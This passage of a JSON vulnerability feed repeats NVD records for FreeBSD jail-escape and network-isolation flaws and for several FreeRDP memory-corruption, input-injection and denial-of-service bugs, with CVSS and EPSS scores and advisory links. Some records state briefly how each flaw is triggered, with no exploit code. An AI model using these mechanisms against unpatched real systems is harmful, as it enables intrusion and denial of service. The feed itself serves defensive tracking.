use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101307","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101307","type":"primary","publishedAt":"2026-10-15T07:17:57.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.freebsd.org/advisories/FreeBSD-SA-26:70.tcp.asc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101307&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101307, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101305","cveId":"CVE-2026-101305","aliases":[],"kind":"vulnerability","title":"renameat(2) did not enforce FD_RESOLVE_BENEATH on its directory arguments.","summary":"renameat(2) did not enforce FD_RESOLVE_BENEATH on its directory arguments.  A jailed process could rename a directory relative to a restricted descriptor, then escape the jail root via fchdir(2).  This requires the directory to reside on a filesystem that is also reachable from the jail's root.\n\nA process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.","detail":"renameat(2) did not enforce FD_RESOLVE_BENEATH on its directory arguments.  A jailed process could rename a directory relative to a restricted descriptor, then escape the jail root via fchdir(2).  This requires the directory to reside on a filesystem that is also reachable from the jail's root.\n\nA process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:17:57.663Z","updatedAt":"2026-10-20T00:20:16.620Z","regions":["Global"],"vendor":"freebsd","product":"freebsd","stacks":["FreeBSD","freebsd"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101305","asOf":"2026-10-20T00:20:16.620Z"},"epss":{"probability":0.00232,"percentile":0.13934,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101305&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101305","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101305","type":"primary","publishedAt":"2026-10-15T07:17:57.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.freebsd.org/advisories/FreeBSD-SA-26:66.jail.asc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101305&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101305, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101304","cveId":"CVE-2026-101304","aliases":[],"kind":"vulnerability","title":"When fdescfs(4) was mounted in a jail with the \"nodup\" option, opening /dev/fd/N returned a descriptor that did not inherit FD_RESOLVE_BENEATH or the Capsicum capability rights of...","summary":"When fdescfs(4) was mounted in a jail with the \"nodup\" option, opening /dev/fd/N returned a descriptor that did not inherit FD_RESOLVE_BENEATH or the Capsicum capability rights of descriptor N.\n\nA process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.","detail":"When fdescfs(4) was mounted in a jail with the \"nodup\" option, opening /dev/fd/N returned a descriptor that did not inherit FD_RESOLVE_BENEATH or the Capsicum capability rights of descriptor N.\n\nA process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:17:57.550Z","updatedAt":"2026-10-20T17:17:27.510Z","regions":["Global"],"vendor":"freebsd","product":"freebsd","stacks":["FreeBSD","freebsd"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101304","asOf":"2026-10-20T17:17:27.510Z"},"epss":{"probability":0.00147,"percentile":0.03862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101304&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101304","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101304","type":"primary","publishedAt":"2026-10-15T07:17:57.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.freebsd.org/advisories/FreeBSD-SA-26:66.jail.asc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101304&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101304, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101303","cveId":"CVE-2026-101303","aliases":[],"kind":"vulnerability","title":"The IPv6 UDP send path for unconnected sockets did not apply the jail policy of rewriting a loopback destination address to the jail's primary IPv6 address.","summary":"The IPv6 UDP send path for unconnected sockets did not apply the jail policy of rewriting a loopback destination address to the jail's primary IPv6 address.\n\nA process in a classic (non-VNET) jail can send UDP datagrams to services listening on the host's IPv6 loopback address, bypassing jail network isolation.","detail":"The IPv6 UDP send path for unconnected sockets did not apply the jail policy of rewriting a loopback destination address to the jail's primary IPv6 address.\n\nA process in a classic (non-VNET) jail can send UDP datagrams to services listening on the host's IPv6 loopback address, bypassing jail network isolation.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:17:57.437Z","updatedAt":"2026-10-20T00:17:27.083Z","regions":["Global"],"vendor":"freebsd","product":"freebsd","stacks":["FreeBSD","freebsd"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101303","asOf":"2026-10-20T00:17:27.083Z"},"epss":{"probability":0.00211,"percentile":0.11313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101303&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101303","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101303","type":"primary","publishedAt":"2026-10-15T07:17:57.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.freebsd.org/advisories/FreeBSD-SA-26:69.udp.asc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101303&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101303, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110839","cveId":"CVE-2026-110839","aliases":[],"kind":"vulnerability","title":"FreeRDP 3.3.0 before 3.32.0, when built with WINPR_UTILS_IMAGE_JPEG=ON, has a heap-based out-of-bounds write in winpr_convert_from_jpeg because grayscale JPEG buffers are sized...","summary":"FreeRDP 3.3.0 before 3.32.0, when built with WINPR_UTILS_IMAGE_JPEG=ON, has a heap-based out-of-bounds write in winpr_convert_from_jpeg because grayscale JPEG buffers are sized from one input component rather than three BGR output components. A malicious RDP server can offer a grayscale JPEG via clipboard redirection, corrupting client memory and crashing it when the item is pasted as CF_DIB bitmap data.","detail":"FreeRDP 3.3.0 before 3.32.0, when built with WINPR_UTILS_IMAGE_JPEG=ON, has a heap-based out-of-bounds write in winpr_convert_from_jpeg because grayscale JPEG buffers are sized from one input component rather than three BGR output components. A malicious RDP server can offer a grayscale JPEG via clipboard redirection, corrupting client memory and crashing it when the item is pasted as CF_DIB bitmap data.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:24.173Z","updatedAt":"2026-10-23T20:55:08.160Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110839","asOf":"2026-10-23T20:55:08.160Z"},"epss":{"probability":0.00272,"percentile":0.19345,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110839&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110839","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110839","type":"primary","publishedAt":"2026-10-14T23:17:24.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-99p4-8j24-wvj4","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110839&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110839, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110838","cveId":"CVE-2026-110838","aliases":[],"kind":"vulnerability","title":"FreeRDP shadow server from 3.0.0 before 3.32.0 dispatches input PDUs during the Confirm Active state before authentication, allowing unauthenticated attackers to inject keyboard...","summary":"FreeRDP shadow server from 3.0.0 before 3.32.0 dispatches input PDUs during the Confirm Active state before authentication, allowing unauthenticated attackers to inject keyboard input. Attackers can negotiate TLS-only RDP and send an input PDU without Confirm Active to inject synthetic keystrokes into the host user's X11 session via XTEST.","detail":"FreeRDP shadow server from 3.0.0 before 3.32.0 dispatches input PDUs during the Confirm Active state before authentication, allowing unauthenticated attackers to inject keyboard input. Attackers can negotiate TLS-only RDP and send an input PDU without Confirm Active to inject synthetic keystrokes into the host user's X11 session via XTEST.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:24.023Z","updatedAt":"2026-10-23T20:29:42.090Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110838","asOf":"2026-10-23T20:29:42.090Z"},"epss":{"probability":0.00326,"percentile":0.25446,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110838&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110838","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110838","type":"primary","publishedAt":"2026-10-14T23:17:24.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-m998-cvfm-9444","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110838&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110838, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110837","cveId":"CVE-2026-110837","aliases":[],"kind":"vulnerability","title":"FreeRDP 2.0.0 before 3.32.0, when built with WITH_LAME=ON and WITH_DSP_FFMPEG=OFF, has a heap-based buffer overflow in freerdp_dsp_decode_mp3 because the right-channel PCM pointer...","summary":"FreeRDP 2.0.0 before 3.32.0, when built with WITH_LAME=ON and WITH_DSP_FFMPEG=OFF, has a heap-based buffer overflow in freerdp_dsp_decode_mp3 because the right-channel PCM pointer is offset by a byte count treated as short elements. A malicious RDP server can send MP3 audio over rdpsnd so decoded samples cross the heap allocation, crashing the client.","detail":"FreeRDP 2.0.0 before 3.32.0, when built with WITH_LAME=ON and WITH_DSP_FFMPEG=OFF, has a heap-based buffer overflow in freerdp_dsp_decode_mp3 because the right-channel PCM pointer is offset by a byte count treated as short elements. A malicious RDP server can send MP3 audio over rdpsnd so decoded samples cross the heap allocation, crashing the client.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:23.853Z","updatedAt":"2026-10-23T20:45:12.283Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110837","asOf":"2026-10-23T20:45:12.283Z"},"epss":{"probability":0.00373,"percentile":0.30956,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110837&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110837","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110837","type":"primary","publishedAt":"2026-10-14T23:17:23.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-52xc-5973-w5vv","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110837&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110837, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110836","cveId":"CVE-2026-110836","aliases":[],"kind":"vulnerability","title":"FreeRDP from 3.0.0 before 3.32.0 contains an infinite loop vulnerability in http_response_recv() that allows malicious gateways to exhaust client CPU via crafted Content-Type...","summary":"FreeRDP from 3.0.0 before 3.32.0 contains an infinite loop vulnerability in http_response_recv() that allows malicious gateways to exhaust client CPU via crafted Content-Type headers. Attackers controlling a gateway can return a nonzero Content-Length with a semicolon-containing unrecognized Content-Type, pinning a client thread at full CPU indefinitely.","detail":"FreeRDP from 3.0.0 before 3.32.0 contains an infinite loop vulnerability in http_response_recv() that allows malicious gateways to exhaust client CPU via crafted Content-Type headers. Attackers controlling a gateway can return a nonzero Content-Length with a semicolon-containing unrecognized Content-Type, pinning a client thread at full CPU indefinitely.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:23.593Z","updatedAt":"2026-10-23T20:45:41.400Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110836","asOf":"2026-10-23T20:45:41.400Z"},"epss":{"probability":0.00312,"percentile":0.23805,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110836&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110836","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110836","type":"primary","publishedAt":"2026-10-14T23:17:23.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-h7fx-22wv-4cg8","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110836&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110836, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110834","cveId":"CVE-2026-110834","aliases":[],"kind":"vulnerability","title":"FreeRDP from 2.0.0 before 3.32.0 contains a null pointer dereference vulnerability that allows malicious RDP servers to crash clients by sending out-of-lifecycle serial IRPs.","summary":"FreeRDP from 2.0.0 before 3.32.0 contains a null pointer dereference vulnerability that allows malicious RDP servers to crash clients by sending out-of-lifecycle serial IRPs. Attackers can send IRP_MJ_READ or IRP_MJ_WRITE before create or after close, causing CommReadFile or CommWriteFile to dereference a null handle and terminate clients using Linux serial redirection.","detail":"FreeRDP from 2.0.0 before 3.32.0 contains a null pointer dereference vulnerability that allows malicious RDP servers to crash clients by sending out-of-lifecycle serial IRPs. Attackers can send IRP_MJ_READ or IRP_MJ_WRITE before create or after close, causing CommReadFile or CommWriteFile to dereference a null handle and terminate clients using Linux serial redirection.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:23.300Z","updatedAt":"2026-10-23T20:52:58.640Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110834","asOf":"2026-10-23T20:52:58.640Z"},"epss":{"probability":0.00312,"percentile":0.23805,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110834&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110834","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110834","type":"primary","publishedAt":"2026-10-14T23:17:23.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-pw4j-ff39-9vjm","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110834&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110834, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110833","cveId":"CVE-2026-110833","aliases":[],"kind":"vulnerability","title":"FreeRDP from 3.0.0-beta1 before 3.32.0 fails to enforce cumulative or absolute size limits when reassembling RDPDR channel fragments in the proxy.","summary":"FreeRDP from 3.0.0-beta1 before 3.32.0 fails to enforce cumulative or absolute size limits when reassembling RDPDR channel fragments in the proxy. Attackers can send a FIRST fragment followed by continuation fragments without LAST, growing per-session heap streams proportional to traffic and exhausting proxy memory.","detail":"FreeRDP from 3.0.0-beta1 before 3.32.0 fails to enforce cumulative or absolute size limits when reassembling RDPDR channel fragments in the proxy. Attackers can send a FIRST fragment followed by continuation fragments without LAST, growing per-session heap streams proportional to traffic and exhausting proxy memory.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:23.160Z","updatedAt":"2026-10-23T20:29:10.717Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110833","asOf":"2026-10-23T20:29:10.717Z"},"epss":{"probability":0.00319,"percentile":0.24626,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110833&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110833","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110833","type":"primary","publishedAt":"2026-10-14T23:17:23.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-m7g5-gw57-cwcr","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 